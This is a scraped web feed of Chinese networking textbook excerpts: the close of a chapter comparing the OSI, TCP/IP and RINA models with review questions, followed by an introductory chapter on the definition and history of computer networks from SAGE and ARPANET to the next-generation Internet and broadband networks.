        对于那些只涉及TCP/IP协议栈的工程师来说,一个更令人困惑的问题是:在OSI协议栈中设计的协议与设备进行交互的方式是不同的。在TCP/IP中,地址指的是接口(并且,在一个虚拟化程度很高的网络世界里,多个地址可以指向单个接口,或者一个选播的服务,或者一个多播数据流等)。然而,在OSI模型中,每个设备都有一个单独的地址。这意味着OSI模型中的协议经常由设备类型来引用。例如,在网络中传输可达性和拓扑(或路由)信息的协议称为“中间系统到中间系统”(IS-IS)协议,因为它在中间系统之间运行。还有一个允许中间系统发现终端系统的协议,被称为“终端系统到中间系统”(ES-IS)协议(没想到这么具有创造性的名字,是吗?)。
        注意:这是网络工程史上令人悲哀的事实之一,TCP/IP协议族的支持者很早就不喜欢OSI协议套件了,以至于拒绝在开发过程中吸取那些经验教训。虽然近年来这在很大程度上已经变得相对温和了,但多年来一个协议因其起源而被拒绝,而非关注其技术的优点,这给网络工程上了一堂关于谦逊的课。对事不对人,把注意力集中在想法上,而不是人的身上。尽可能地向每个人和每个项目学习,不要让自我的狭隘影响到一个大型项目或者影响解决手头上的问题。

        3.3 递归互联网架构模型

        DoD模型和OSI模型有两个共同的特点:

        • 它们都包含应用层;这在网络工程世界的早期场景中是有意义的,因为应用程序和网络软件都是一个大系统的一部分。
        • 它们将什么数据应该包含在哪里的概念与特定层应该实现什么目标的概念结合了起来。

        这导致了一些奇怪的问题,比如:

        • 为独立实体(自治系统)之间提供路由(可达性)的边界网关协议(Border Gateway Protocol,BGP)在两个模型的传输层之上运行。BGP算是一个应用程序吗?同时,该协议提供了网络层运行所需的可达性信息,这使得BGP成为一个网络层协议吗?
        • IPsec将信息添加到IP报头,并指定网络传输的加密信息。因为IP运行在网络层,而IPsec(这类的协议)在IP之上运行,这是否使得IPsec成为传输协议呢?或者,因为IPsec与IP并行运行,它是一个网络层协议吗?

        对这些问题的争论为技术会议或者关于标准讨论会议提供了很多乐趣。然而,他们也指出这些模型的定义方式有些模糊。这种模糊性来自于这些模型中形式和功能的细密混合;它们描述了哪些信息被包含,谁使用信息,信息是怎么处理的,或者一个具体目标是否与网络信息传输所解决的具体问题相匹配?答案是—以上都是。或许,视情况而定。
        这就导致了以下观察结果:任何数据传输协议只能提供四种功能,即传输、多路复用、纠错和流量控制。这些听起来很熟悉,因为这正是第2章所揭示的四种功能。
        这四个功能可以自然分为两组,即传输和多路复用、差错和流量控制。因此,大多数协议可以分为两类:

        • 该协议提供了传输,包括从一种数据格式到另一种数据格式的某种形式的翻译;以及多路复用,即协议能够将来自不同主机和应用程序的数据分开保存。
        • 该协议对丢失或损坏的数据提供了纠正错误或重新传输的能力,即差错控制;以及流量控制,由于网络传输数据的能力与应用程序生成数据的能力不匹配,流量控制可防止不必要的数据丢失。

        从这个角度来看,以太网提供了传输服务和流量控制,因此它是一个集中于网络中单个链路以及端口到端口(或隧道端点到隧道端点)的混合数据包。IP是一种提供传输服务的多跳协议(跨越多个物理链路的协议),而TCP也是一种多跳协议,它使用了IP的传输机制,并提供纠错和流量控制。图3-4说明了这一迭代模型。
        image.png

        图3-4 RINA模型

        模型的每一层都有相同的两个功能之一,只是范围不同。这种模型在网络协议的运行中并没有得到广泛的应用,但它提供了一个比七层或四层模型更简单的网络协议动态和操作视图,并且增加了范围的概念,这对于理解网络运行至关重要。信息的范围是网络稳定性和弹性的基础。

        3.4 面向连接与无连接

        迭代模型再次引出网络协议中面向连接和无连接概念。
        在发送数据的第一个比特之前,面向连接的协议建立了端到端连接,包括全部有意义的数据传输状态。传输状态可以包括诸如服务质量要求、流量通过网络的路径、发送和接收数据的特定应用程序、数据可以被发送的速率以及其他信息。一旦连接被建立,数据可以在非常小的开销下进行传输。
        另一方面,无连接服务将数据传输所需的数据与数据本身结合起来,在单个数据包(或协议数据单元)中传输。无连接协议将网络数据传输所需的状态传播到每一个可能需要数据的设备上,而面向连接的模型将状态限制在只需要知道特定数据流的设备上。因此,在无连接的网络中,单个设备或链路故障可以通过将流量迁移到另一个可能路径来解决,而不是重做所有工作:构建从源地址到目的地址的数据传输所需要的状态。
        大多数现代网络都采用无连接的传输模型,同时结合了面向连接模型的服务质量、差错控制和流量控制。这种组合并不总是理想的;例如,服务质量通常配置特定路径以匹配必须遵循这些路径的特定数据流。这种对服务质量的处理比实际管理的流量更加面向连接,使得网络的理想状态和各种可能的故障模式之间严重脱节。

        3.5 总结思考

        了解一些模型以及这些模型如何适用于各种网络协议,可以帮助我们快速地理解一个陌生的协议,并在一个运行的网络中诊断问题。了解协议模型的历史可以帮助我们理解特定协议的设计方式,特别是那些协议设计者认为需要解决的问题,以及最初设计时协议的周边协议。不同模型以不同的方式抽象出了一套协议,了解这几个模型以及如何将一套协议放入每个模型中,可以帮助我们以不同方式而不是单一方式来理解协议运行,就像在一幅画中看到一个花瓶与在三维空间中看到一个花瓶是截然不同的。
        特别重要的是无连接协议和面向连接协议这两个概念,它们将是理解流量控制、差错管理和许多其他协议运行的基础。
        在下一章,这些模型将应用于底层的传输协议。

        3.6 拓展阅读

        image.png

        3.7 复习题

        1.研究X.25协议栈中的协议,该协议比本章描述的三个网络模型出现得更早。X.25协议栈是否呈现了一种分层设计?DoD模型和OSI模型的哪些层与X.25协议栈中的哪些协议相符合?能否用RINA模型来描述每个协议?
        2.研究IBM的系统网络架构(Systems Network Architecture,SNA)协议栈中的协议,这些协议在本章描述的三个网络模型之前就已经存在了。SNA协议栈是否呈现了分层设计?DoD模型和OSI模型的哪些层与SNA栈中的哪些协议相符合?能否用RINA模型来描述每个协议?
        3.某些协议栈和模型(如X.25协议栈)考虑了计费,而其他协议栈和模型则没有考虑。为什么?思考在IP和X.25协议栈中的网络利用率测量方式,特别是使用分组带宽作为主要测量系统。
        4.分层网络模型如何有助于网络协议栈的模块化?
        5.分层网络模型如何帮助工程师理解网络工作原理?
        6.绘制一个比较DoD和OSI模型的图表。其中一个模型的每一层是否与另一个模型完全契合?
        7.考虑一下OSI和RINA模型,能否从RINA模型中找出哪些服务适合OSI模型中的哪些层吗?
        8.根据状态/优化/表面(SOS)模型,特别是从状态和优化两方面来考虑无连接协议和面向连接协议的运作模型。能否解释在一个面向连接模型中添加了状态,会在哪里增加了网络资源的使用优化吗?它是如何减少网络资源的使用优化的?
        9.在较老的网络模型中,应用程序通常被认为是协议栈的一部分。然而,随着时间的推移,应用程序似乎已经基本上从网络协议栈中分离出来了,并被视为网络服务的用户或消费者。思考终端主机的设计与运行在终端主机上的应用程序之间的一个特别转变,这会导致网络工程思维的转变吗?
        10.从协议设计的角度来看,固定长度的数据包(或帧,或信元)比可变长度的数据包更有意义吗?与固定长度格式相比,可变长度的分组格式增加了多少状态?获得了多少优化?回答这个问题的一个有效出发点是全球互联网上平均数据包长度的列表或图表。

        ]]>
        带你读《计算机网络原理》之一:计算机网络概述 Fri, 02 May 2025 09:39:04 +0800 高等院校精品课程系列教材
        点击查看第二章
        点击查看第三章
        计算机网络原理
        第2版
        image.png
        王志文 陈 妍 夏 秦 何 晖 编著

        第1章 计算机网络概述

        1.1 计算机网络的定义

        在计算机网络发展过程的不同阶段,人们对计算机网络提出了不同的定义。不同的定义反映着当时网络技术发展的水平,以及人们对网络的认知程度。这些定义从三种不同的观点来看待计算机网络,即广义的观点、资源共享观点与用户透明性的观点。从目前计算机网络的特点看,资源共享观点的定义能比较准确地描述计算机网络的基本特征。相比之下,广义的观点定义了计算机通信网络,而用户透明性的观点定义了分布式计算机系统。
        资源共享观点将计算机网络定义为 “以能够相互共享资源的方式互连起来的自治计算机系统的集合”。资源共享观点的定义符合目前计算机网络的基本特征,这主要表现在以下几个方面。
        1)计算机网络建立的主要目的是实现计算机资源的共享。计算机资源主要是指计算机硬件、软件与数据。网络用户不但可以使用本地计算机资源,而且可以通过网络访问联网的远程计算机资源,还可以调用网络中不同的计算机共同完成任务。
        2)互连的计算机是分布在不同地理位置的独立 “自治计算机”。互连的计算机之间没有明确的主从关系,每台计算机既可以联网工作,也可以脱离网络独立工作。联网计算机可以为本地用户提供服务,也可以为远程网络用户提供服务。
        3)联网计算机之间的通信必须遵循共同的网络协议。
        计算机网络是由多个互连的节点组成的,节点之间要做到有条不紊地交换数据,每个节点都必须遵守一些事先约定好的通信规则。这就和人们之间的对话一样,要么大家都说中文,要么大家都说英文,如果一个说中文,一个说英文,那么就需要找一个翻译人员。如果一个人只能说中文,另一个人又不懂中文,而又没有翻译人员,那么这两个人就无法进行交流。
        判断计算机是否互连成计算机网络,主要看它们是不是独立的 “自治计算机”。如果两台计算机之间有明确的主从关系,其中一台计算机能够强制另一台计算机开启与关闭,或者控制另一台计算机的自主运行,那么其中的受控计算机就不是 “自治”的计算机。根据资源共享观点的定义,由一个中心控制单元与多个从站组成的计算机系统不是一个计算机网络。同样,带有多个远程终端或远程打印机的计算机系统也不是一个计算机网络,只能称为联机系统(因为历史上的许多终端都不能算是 “自治计算机”)。但随着硬件价格的下降,许多终端都具有一定的智能,因而 “终端”和 “自治计算机”逐渐失去了严格的界限。因此,若把微型计算机作为终端使用,按上述定义,则早期的那种面向终端的计算机系统也可称为计算机网络。
        “计算机通信”与 “数据通信”这两个名词在不同的领域经常混用。早期的数据通信与现代的计算机通信显然是有区别的。但随着技术的进步,数据通信的含义也在发生变化。因此,可以认为计算机通信与数据通信是可混用的名词,如美国的著名期刊《Data Communication》所刊登的文章现在也大多是计算机网络领域的文章。大多数情况下,数据通信网往往指的是计算机网络中的分组交换网络。
        对用户而言,计算机网络就是一种透明的传输机构,用户在访问网络共享资源时,无须考虑这些资源所在的物理位置。为此,计算机网络通常以网络服务的形式来提供网络功能和透明性访问。
        从上述计算机网络的定义中不难看出,它的核心功能就是资源共享,而我们经常提及的分布式系统也是为共享资源而提出的,二者究竟有何差异呢 计算机网络与分布式计算机系统虽然有相同之处,但二者并不等同。分布式计算机系统的主要特点是系统中的各计算机对用户是透明的。对用户而言,这种分布式计算机系统就好像是一台计算机一样,用户通过输入命令就可以运行程序,但用户并不知道是哪一台计算机在运行程序。实际上,是分布式系统在为用户选择最合适的计算机来运行其程序,并将运行的结果传送到合适的地方,而这些工作都不需要用户的干预。计算机网络则不同,用户必须事先明确登录要运行程序的计算机,然后按照该计算机的地址,将程序通过计算机网络传送到该目标计算机去运行。最后,根据用户的命令将结果传送到指定的计算机。由此可见,计算机网络不同于分布式计算机系统,二者的区别主要是软件的不同,尤其是应用软件方面表现得更为突出。一般说来,可以将分布式计算机系统看作计算机网络的一个特例。
        计算机网络已经存在了半个多世纪,为信息共享和人类交互提供了极大的方便,尽管时代的变迁使得计算机技术和网络通信技术发生了许多重大变化和进步,但它们在特定的领域总是表现出相似的变化过程。为此,一些专业人士提出了一系列关于IT技术变迁的论断和预言,其中最为著名的有下述四个。

        • Intel公司的创始人之一戈登·摩尔(Gordon Moore)先生在1964年曾预言:集成芯片的能力每18个月提高一倍,而其价格则降低一半,这就是著名的摩尔定律(Moore’s Law)。摩尔本人当初也没有预料到,这一预言一直延续到21世纪初仍然成立。
        • 贝尔定律(Bell’s Law)作为对摩尔定律的补充,其核心思想是:如果保持计算机能力不变,微处理器的价格每18个月降低一半、体积每18个月减小一半。
        • 20世纪90年代,发明以太网的鲍伯·麦特尔卡夫(Bob Metcalfe)提出:网络的价值同网络用户数量的平方成正比。对于网络上的n个用户,每个用户都可以共享其他用户的信息,即任何一个用户都可以使用整个网络上n个用户的信息,所以网络的价值与网络用户数量的平方成正比。
        • 被称为数字时代三大思想家之一的乔治·吉尔德(George Gilder)于1996年在其著作《遥观宇宙》中预测:在未来25年,计算机网络的主干链路带宽每6个月增加一倍,其增长速率远远超过摩尔定律,是芯片增长速率的三倍。

        以上四个论断和预言被人们习惯性称为IT时代的四大定律,它们揭示了计算机和计算机网络技术惊人的发展速度和美好灿烂的前景。可以说,计算机和计算机网络技术已经改写了社会发展历程,它们的飞速发展必将创造出人类历史更加辉煌的篇章!

        1.2 计算机网络的发展历程

        1.2.1 以单计算机为中心的联机系统

        以单计算机为中心的联机系统通常被称为第一代计算机网络。20世纪60年代中期以前,计算机主机昂贵,而通信线路和通信设备的价格相对便宜,为了共享主机资源(强大的处理能力)和进行信息的采集及综合处理,通常采用以单计算机为中心的联机系统这一结构形式。
        早在1951年,美国麻省理工学院林肯实验室就开始为美国空军设计称为SAGE的半自动化地面防空系统。该系统分为17个防区,每个防区的指挥中心装有两台IBM公司的AN/FSQ-7计算机,通过通信线路连接防区内各雷达观测站、机场、防空导弹和高射炮阵地,形成联机计算机系统。由计算机程序辅助指挥员决策,自动引导飞机和导弹进行拦截。SAGE系统最先采用了人机交互作用的显示器,研制了小型计算机形式的前端处理机,制定了1600bit/s的数据通信规程,并提供了高可靠性的多种路径选择算法。SAGE系统最终于1963年建成,被认为是计算机技术和通信技术结合的先驱。
        最早应用计算机通信技术的民用系统是美国航空公司与IBM公司在20世纪50年代初开始联合研究、60年代初投入使用的飞机订票系统SABRE-1。这个系统由一台中央计算机与全美范围内的2000个终端组成,这些终端采用多点线路与中央计算机相连。美国通用电气公司的信息服务(GE Information Service)系统则是当时世界上最大的商用数据处理网络,其地理范围从美国本土延伸到欧洲、澳大利亚和日本,该系统于1968年投入运行,具有交互式处理和批处理能力。网络配置采用分层星形结构:各终端设备连接到分布在世界上23个地点的75个远程集中器,远程集中器分别连接到16个中央集中器;同时,各计算机也连接到中央集中器;最后,中央集中器经过50kbit/s线路连接到交换机。由于覆盖的地理范围很广,所以可以利用时差达到资源的充分利用。
        以单计算机为中心的联机系统涉及多种通信技术和多种数据传输设备、数据交换设备等。从计算机技术角度来看,这是由单个用户独占一个系统发展到远距离的分时多用户系统。多终端联机系统主要有如下缺点:一是主机负荷较重,既要承担通信工作,又要承担数据业务处理工作,主机的效率低下;二是通信线路的利用率低,尤其在远距离时,每个分散的终端都要单独占用一条通信线路,费用昂贵;三是这种网络结构属于集中控制方式,可靠性低,中央主机的失效直接导致整个系统崩溃。
        在早期的计算机通信网络中,为了提高通信线路的利用率并减轻主机的负担,人们开始使用多点通信线路、终端集中器以及前端处理机,这些技术对以后计算机网络的发展有着深刻的影响。
        1)多点通信线路就是在一条通信线路上串接多个终端,如图1-1a所示。这样,多个终端可以共享同一条通信线路与主机进行通信。由于主机-终端间的通信具有突发性和高带宽的特点,所以各个终端与主机间的通信可以分时地使用同一高速通信线路。相对于每个终端与主机之间都设立专用通信线路的点对点通信配置方式,这种多点线路能极大地提高信道的利用率。
        2)终端集中器和前端处理机(Front-End Processor,FEP)的作用是类似的,不过后者的功能要强一些。主机资源主要用于业务计算任务,如果由主机兼顾与终端的通信任务,那么一来会影响主机的计算任务,二来使主机的接口很多,配置过于庞大,系统灵活性不好。为了解决这一矛盾,可以把与终端通信的任务分配给专门的终端集中器。终端集中器的软硬件配置都是面向通信的,可以放置于终端相对集中的地点,它与各个终端以低速线路连接,收集终端的数据,然后用高速线路传送给主机的前端处理机。这种通信配置的结构如图1-1b所示。
        image.png

        图1-1 通信线路共享方式

        终端集中器的硬件配置相对简单,它主要负责将数据从终端集中到主机,以及从主机分发到终端。显然,采用终端集中器可以提高远程高速通信线路的利用率。前端处理机除了具有以上功能外,还可以互相连接,并连接多个主机,具有路由选择功能,它能根据数据包的地址把数据发送到适当的主机。不过在早期的计算机网络中,前端处理机的功能还不是很强,互连规模也不是很大。

        1.2.2 分组交换网络的出现

        从20世纪60年代中期到70年代中期,随着计算机技术和通信技术的进步,能够将多个单计算机联机终端系统互相连接起来,形成了多计算机互连的网络。这种网络利用通信线路将多台计算机连接起来,利用分组交换技术传输网络数据,为用户提供服务。
        第一种互连形式是通过通信线路将各计算机直接互连起来,主机既承担数据处理工作,又承担通信工作,如图1-2a所示。
        第二种互连形式是把通信功能从主机中分离出来,设置专门的通信控制处理机(Communication Control Processor,CCP),主机间的通信通过CCP的中继功能间接进行。由多个CCP组成的传输网络称为通信子网,如图1-2b所示。
        image.png

        图1-2 主机互连方式

        通信控制处理机负责网上各主机间的通信控制和通信处理,它们组成的通信子网是计算机网络的内层或骨架层。主机负责数据处理,是业务资源的拥有者,它们组成了计算机网络的资源子网,是网络的外层。通信子网为资源子网提供信息传输服务,资源子网上用户间的通信是建立在通信子网基础上的。没有通信子网,主机间无法交互;而没有资源子网,通信子网的数据传输也失去了意义。两者共同组成了统一的资源共享的两层网络。将通信子络的规模进一步扩大,可使之变成社会公用数据通信网,如图1-3所示。这种网络允许异种机入网,兼容性好、通信线路利用率高,是计算机网络概念最全、设备最多的一种形式。
        image.png

        图1-3 具有公用数据通信网的计算机网络

        现代意义上的计算机网络是从1969年美国国防部高级研究计划署(DARPA)建成的ARPANET实验网开始的。该网络当时只有4个节点,以电话线路作为主干网络,两年后建成15个节点,进入工作阶段。此后ARPANET的规模不断扩大,到20世纪70年代后期,网络节点超过60个,主机有100多台,地域范围跨越了美洲大陆,连通了美国东部和西部的许多大学和研究机构,而且通过通信卫星与夏威夷和欧洲等地区的计算机网络相互连通。ARPANET的主要特点是:①资源共享;②分散控制;③分组交换;④采用专门的通信控制处理机;⑤分层的网络协议。这些特点往往被认为是现代计算机网络的一般特征。
        早期的著名计算机网络还有以下几个:英国国家物理实验室NPL网络,20世纪70年代初连接主机12台,终端80多个;英国邮政局的EPSS公用分组交换网络(1973年);法国信息与自动化研究所(IRIA)的CYCLADES分布式数据处理网络(1975年);加拿大的DATAPAC公用分组交换网(1976年);日本电报电话公司的DDX-3公用数据网(1979年);等等。这些网络以远程大规模互连为其主要特点,称为第二代网络,根据应用目的可分为以下3种类型。
        1)用户为在一定地域范围内共享专用资源而建立的网络,如OCTOPUS网络,它是由美国加州大学劳伦斯原子能研究所建立的网络。它由2台CDC-7600、2台CDC-6600和其他一些机器的近500个终端组成,可共享容量巨大的数据库。另一个例子是DCS网,由加州大学欧文分校研制,是一个面向进程通信的分布式异构机环形网络。
        2)用户在一定的地域范围内以进行通信处理和通信服务为目的的通信网络,如欧洲情报网络(EIN)。
        3)用于商用目的的公用分组交换数据通信网络,如TELENET是由美国远航网络公司创建的,能够向美国国内250个城市、国外37个国家的用户提供服务的全球性分组交换网。另外,加拿大的DATAPRC、法国的TRANSPAC等都属于这一类型的网络。
        1.2.3 计算机网络体系结构标准化
        计算机网络通常按功能分为若干层(layer)。网络中各计算机之间要进行正常有序的通信,就必须遵循一定的约定,如信息应按什么顺序进行交互、信息应该如何表示等,这就是所谓的协议(protocol)。协议是同等层次实体之间进行信息交互的规则。计算机网络的层次结构及各层协议的集合统称为计算机网络的体系结构(architecture)。
        早在20世纪70年代到80年代,世界上出现了大量的计算机网络,它们大都由研究部门、大学或公司各自独立研制开发,没有统一的体系结构,难以实现互连。这种封闭性使它们变成一个个孤岛,不能适应更大范围的信息交互与资源共享。于是,开放(open)就成为计算机网络发展的主题。
        1977年,国际标准化组织(International Standards Organization,ISO)下属的计算机与信息处理标准化技术委员会成立了一个专门研究计算机网络体系结构标准化问题的分委员会,经过多年艰苦的努力,于1983年制定出了称为开放系统互连参考模型(Open System Interconnection/Reference Model,OSI/RM)的国际标准ISO 7498。该模型分为7层,每层都规定了相应的服务和协议标准,这些标准总称为OSI标准。OSI标准的基本宗旨就是开放,遵循该标准的系统都必须是相互开放的,能够实现互连。
        但是,OSI在实施时受到了诸多因素的制约,最终没有达到预期的效果。其原因是多方面的:首先,作为Internet基础的TCP/IP体系结构就是OSI的强大对手。因特网自诞生以来一直在迅猛发展,投资者(包括建网机构和用户)不会轻易放弃在TCP/IP上的巨额投资。其次,OSI虽然在学术上进行了大量的研究工作,但是它缺乏商业运作的驱动力。最后,OSI网络体系结构本身分层过多,有些功能(如流量控制和差错控制)在多个层次中重复出现,比较复杂。
        虽然OSI没有发展成新一代的计算机网络体系结构,但它所提出的不少关于计算机网络的概念和技术已被广泛地接受和使用,正是在OSI的推动和影响下,计算机网络体系结构的标准化才得以不断发展。
        在DARPA资助下,20世纪70年代末期鲍勃·卡恩和文特·瑟夫推出了TCP/IP协议规范。到1983年,DARPA将ARPANET上的所有计算机都转向TCP/IP协议,并以ARPANET为主干建立和发展了Internet,形成了TCP/IP体系结构。TCP/IP体系结构虽然不是国际标准,但它的发展和应用都远远超过了OSI,成为事实上的体系结构标准。20世纪90年代,世界上多数国家相继建立了本国的主干网并接入Internet。与此同时,Internet则以惊人的速度发展,覆盖了全世界,使计算机网络迈入一个崭新的时代,这就是以TCP/IP体系结构为基础的Internet时代。

        1.2.4 局域网的崛起

        局域网(Local Area Network,LAN)是计算机网络发展史上的一个重要而又活跃的领域。LAN的发展始于20世纪70年代,1972年美国加州大学研制了Newhall loop网,1975年施乐(Xerox)公司Palo Alto研究中心研制了第一个总线结构的实验性的以太网(Ethernet),1974年英国剑桥大学计算机实验室建立了剑桥环(Cambridge Ring)网。20世纪80年代,不同类型的LAN纷纷出现,并投入了市场。
        超大规模集成电路(VLSI)技术的发展大大促进了微型计算机技术的发展,使得微型计算机的价格大幅度下降;同时,连接LAN的网络接口卡和其他联网设备的价格也不断下降,这些因素共同推动了微型机局域网PC-LAN的发展,其中以Microsoft公司的Windows NT、Windows 2000和Novell公司的NetWare PC-LAN最为著名和活跃。
        目前,LAN技术中发展最迅速的是以太网,历经30年的发展,其速度已由原来的1Mbit/s提高到今天的10Gbit/s。以太网是LAN的主流网络,全世界大部分的LAN都是以太网,它保持了统治性的市场地位。

        1.2.5 Internet时代

        Internet自诞生以来也经历了几个阶段的变迁,包括Internet、NGI以及Intranet等。
        1.Internet
        20世纪90年代以后,计算机网络进入一个崭新的历史时代,这就是因特网(Internet)时代。Internet的应用发展从科研、教育到商用,逐步深入人类社会活动的各个角落。它改变了人们的生产、工作、生活和思维方式,对人类信息社会的发展有着巨大而深远的影响。
        Internet的形成和发展始于20世纪60年代后期,是由ARPANET发展演化而逐步形成的。70年代末期,DARPA又资助网络专家开发了著名的TCP/IP协议簇,并于80年代初期在ARPANET上正式使用。TCP/IP协议簇为Internet的发展注入了新的活力,使网络互连成为现实。到1983年,ARPANET网已连入300多台计算机,由美国政府部门和研究机构使用。1984年,ARPANET分成两个部分:一个用于军事,称为MILNET;另一个用于民用科研和教育,仍称ARPANET。它们都由多个网络互连而成。ARPANET成为Internet的主干网。
        美国国家科学基金会(National Science Foundation,NSF)继DARPA之后也对因特网的发展做出了卓越的贡献。1986年,NSF建立了国家科学基金网NSFNET,连接美国范围内100所左右的大学和研究机构。NSFNET为三级网络结构,分为主干网、区域网和校园网。主干网的速率开始为56kbit/s,后来提高到1.544Mbit/s,NSFNET后来和ARPANET相连,成为Internet的主要部分。
        20世纪90年代初,许多公司纷纷接入Internet,网络通信量大幅度增长,每日传送的分组数达10亿个,NSFNET不堪重负。为了解决这一问题,美国政府决定将因特网主干网交给私人公司来经营。IBM、MCI和Merit三家公司共同组建了一个高级网络服务(Advanced Network and Services,ANS)公司,专门经营和管理NSFNET。ANS于1993年构建了一个速率为44.746Mbit/s的主干网ANSNET,取代了旧的NSFNET。
        与此同时,世界上许多国家相继建立了本国的主干网并接入Internet。欧洲的主干网EBONE、加拿大的Canet、英国的PIPEX和JANET以及日本的WIDE都接入了Internet,Internet从此逐渐成为全球性互联网。目前,Internet已经覆盖全世界。
        2.下一代Internet(NGI)
        Internet已经有40多年的发展历史,随着信息社会大步向前迈进,网络经济时代已经到来,尤其是融文本、语音、图形、图像等于一身的多媒体传输业务的大量涌现,对网络的带宽要求越来越高。另外,Internet上的各种新应用不断增加,接入的计算机数量与日俱增,原来设计的32位IP地址空间已经用尽。时代的发展对Internet提出了新的挑战,不断地发展Internet是人类共同的任务。
        下一代Internet(Next-Generation Internet,NGI)的特点是更快、更大、更安全,以及服务质量更高和使用更方便。
        1996年美国政府出台NGI计划,进行NGI关键技术的研究,美国国家科学基金会支持大学和科研单位建立了高速网络试验床(very high speed Backbone Network Service,vBNS)。vBNS采用IP over ATM over SDH/SONET方式,速率达到622Mbit/s。由于千兆以太网的日益成熟和高速吉比特交换路由器和太比特交换路由器(1Tbit/s?=?1000Gbit/s?=?1?000?000Mbit/s)的出现,又产生了IP over SDH/SONET传输方式,vBNS+就采用这种方式。
        1998年,美国100多所大学联合成立了UCAID(University Corporation for Advanced Internet Development),从事Internet 2研究计划,有206所院校参加。UCAID建立了另一个高速网络试验床Abilene,于1999年1月开始提供服务,为美国的教育和科研提供世界最先进的信息基础设施,保持美国在高速计算机网络及其应用领域的技术优势。
        除美国外,其他国家和地区也相继开展了下一代高速互连网络研究,包括加拿大的CA-3NET、英国的JANET 2以及亚太地区的APAN等。
        我国下一代互联网示范工程(China Next Generation Internet,CNGI)是实施我国下一代互联网发展战略的重大工程,由国家发展和改革委员会、科学技术部、国务院信息办、中国科学院、中国工程院、国家自然科学基金委员会、信息产业部、教育部8部委联合领导。我国的第一个下一代互联网试验网络NSFCNET于1999年12月开始建设,2001年7月通过了验收。NSFCNET使用密集波分多路复用DWDM的光传输技术,采用IPv6与国际IPv6网络连接,第一次实现了与下一代互联网Internet 2的互连。国家863项目中的中国高速信息示范网CAINONet、中科院的中国先进互联网CAINet,也都是宽带IP网络技术、设备与先进应用的研究试验平台。
        2001年,中国教育科研网CERNET提出建设全国性的下一代中国教育科研网CERNET2计划。2003年8月,CERNET2计划被纳入CNGI。2004年3月19日,CERNET2试验网开通。CERNET2建成后将是世界上规模最大的纯IPv6国家级主干网。CERNET2主干网的传输速率为2.5Gbit/s~10Gbit/s,连接北京、上海、广州等20个城市的CERNET2核心节点,将实现全国200余所高校的IPv6接入,并与国内其他下一代互联网及国际下一代互联网实现高速互连。CERNET2将支持更高速、更丰富的下一代互联网应用,包括网格计算、视频语音综合通信、高清晰度电视、智能交通、远程教育和远程医疗、环境和地震监测,等等。
        3.内联网(Intranet)
        Internet的发展大大促进了企业的信息化和经济的全球化。Intranet是Internet技术的发展与建造企业/事业单位内部的计算机网络和信息系统的需要相融合的产物,是将Internet的构造技术应用于企业内部网络。Intranet的特点可以简要地归纳如下。

        • 为满足某个企业/事业单位自身的需要而建立,为企业服务,其规模和功能应根据单位的经营、管理和发展的需求而确定。
        • 基于Internet的技术和工具,采用TCP/IP协议簇,是一个开放的系统。
          广泛采用WWW技术,使企业内部用户可以方便地浏览企业内部的各种信息,是一个基于WWW的企业内部信息系统。
        • 与Internet连接,企业用户可以通过Intranet访问Internet的丰富资源。Intranet和外部Internet的连接必须使用防火墙等安全措施,以保护企业内部信息和数据的安全。
        • 连接底层的控制网络,管理、优化、监控企业的生产过程。

        Intranet对企业的经营产生了积极的影响。企业可以充分地利用内联网提高工作效率,节省时间,使企业经营管理更加现代化。
        Intranet之后出现了外联网(Extranet)。Extranet将Intranet的作用范围延伸扩大到企业的外部,如合作伙伴、供应商、交易伙伴、销售商店等,它们都作为Extranet的用户,形成企业外部网络。现在,虚拟专用网(Virtual Private Network,VPN)技术常用于构建Intranet和Extranet,即Intranet VPN和Extranet VPN。

        1.2.6 “三网”合一

        所谓“三网”合一就是指原先独立设计和运营的传统电信网、计算机互联网和有线电视网将趋于相互渗透和相互融合。顾名思义,就是把三网的物理层或业务层融合为一个网络来运营。相应地,三类不同的业务、市场和产业也将相互渗透和相互融合,以传统三大业务来分割三大市场和行业的界限将逐渐变得模糊,从而形成一个统一的网络系统。该系统以全数字化的网络设施来支持包括数据、话音和视频在内的所有业务的通信,即全业务网络。
        根据三网融合的功能要求和目标,融合后的新网络体系应该具有以下几个特征。
        1)网络在物理层上是互通的,即一个网络的信号可以直接传递或者经过组织、变换后传送到另外一个网络中,并且在通过其他网络传送到用户终端时,不改变信息的内容,也就是说,网络之间要互相透明。
        2)用户只需一个物理网络连接,就可以使用其他网络上的所有共享资源或者能够与其他网络上的用户通信。
        3)在应用层上,各网络之间的业务是相互渗透和交叉的,又是相互独立的,互不妨碍,并且在各自的网络上可以像以往那样独立发展自己的新业务。
        4)网络之间的协议要么兼容,要么可以进行无缝转换。这是因为各个网络都有自己的内部协议,因此,信息从一个网络传送到另一个网络时,它应该满足所转向网络的协议要求。
        通过以上分析可以发现:“三网”合一并不只是三个通信网络物理设施的简单互连,这一工作所涉及的不仅是技术上的问题,更多的则是政治、经济、文化和社会等方面的因素。一方面,融合将推动信息产业的发展;另一方面,融合的过程也会导致信息产业结构的重新组合和管理体制及政策法规的相应变革。比如,“三网”合一需要统一管理原先分散建设的各种网络,同时开放电信市场,以充分利用现有的通信设备和资源,实现面向用户的自由、透明而无缝的信息网络,为用户提供真正的宽带信息高速公路服务。在“三网”合一过程中,既要在各方面保持原有的市场,又要开拓更大的市场,使用户也同步受益。
        尽管“三网”合一在目前的实现过程中存在不少困难,但它正在成为势不可挡的历史大潮,可以说“三网”合一是迎接未来信息社会的根本性网络变革。

        1.2.7 宽带网络与全光网络技术

        1.宽带网络
        宽带网络可分为宽带骨干网和宽带接入网两个部分,因此建设宽带网络的两个关键技术是骨干网技术和接入网技术。人们对可视电话、可视图文、图像通信和多媒体等宽带业务的需求,大大地推动了宽带网络技术的发展和应用。
        骨干网又被称为核心交换网,它是基于光纤通信系统的,能实现大范围(在城市之间和国家之间)的数据流传送。这些网络通常采用高速传输网络、高速交换设备(如大型ATM交换机和交换路由器)。电信业一般把传输速率达到2Gbit/s的骨干网称为宽带骨干网,这一速率随着时代的变迁有着不同的定义。
        随着通信技术的迅猛发展,运营商和用户对电信网提出了更高的要求。1988年ITU-T在美国同步光纤网络(Synchronous Optical NETwork,SONET)标准的基础上形成了一套完整的同步数字系列SDH标准,使这种适用于光纤传输的体系成为世界通用的光接口标准。在SDH的基础上,可以建成一个灵活、可靠,能够进行远程监控管理的国家级电信传输网与全世界的电信传输网。这个传输网可以很方便地扩展新业务,使不同厂家生产的设备互通使用。
